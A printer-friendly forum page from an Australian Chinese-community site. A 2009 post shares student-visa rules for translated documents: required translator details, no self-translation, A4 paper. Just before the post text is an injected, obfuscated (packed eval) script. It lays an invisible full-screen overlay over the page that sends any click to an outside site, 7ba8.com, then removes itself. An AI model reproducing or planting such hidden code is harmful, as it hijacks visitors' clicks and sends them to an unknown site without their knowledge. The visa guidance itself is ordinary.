滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 分享学生签证中对翻译资格的具体要求 [打印本页]

作者: leo128    时间: 2009-6-24 12:16
标题: 分享学生签证中对翻译资格的具体要求
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>是从要递签的checklist里搬来的,希望对大家有一定的帮助。
Translation of Documents
文件的翻译

All documents submitted that are not in English must be translated into English accurately and professionally.  Translators are accountable and fully responsible for the translations of all documents.
所有递交的非英语语言文件必须都翻译成准确的,专业的英文。 翻译者必须是负责的并且对所翻译的全部文件负有完全责任。

All translated documents must bear the following information:
所有的翻译文件都必须包括以下信息:

a) Full name of translator
翻译者的全名
b) Name of the organisation where translator works
翻译者所在单位的名称
c) Full address and contact details of the organisation
该单位的地址和联系方式
d) Details of qualification of the translator
翻译者的证书的详细信息
e) Signature of the translator
翻译者的签字
f)
Date of the translation 翻译日期

Applicants CANNOT undertake translation of their own documents.  All translated documents must be professionally presented on A4 size ***.
申请者不能为他自己的文件做翻译。 所有翻译文件必须使用标准的A4纸递交。




欢迎光临 滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/) Powered by Discuz! X3.2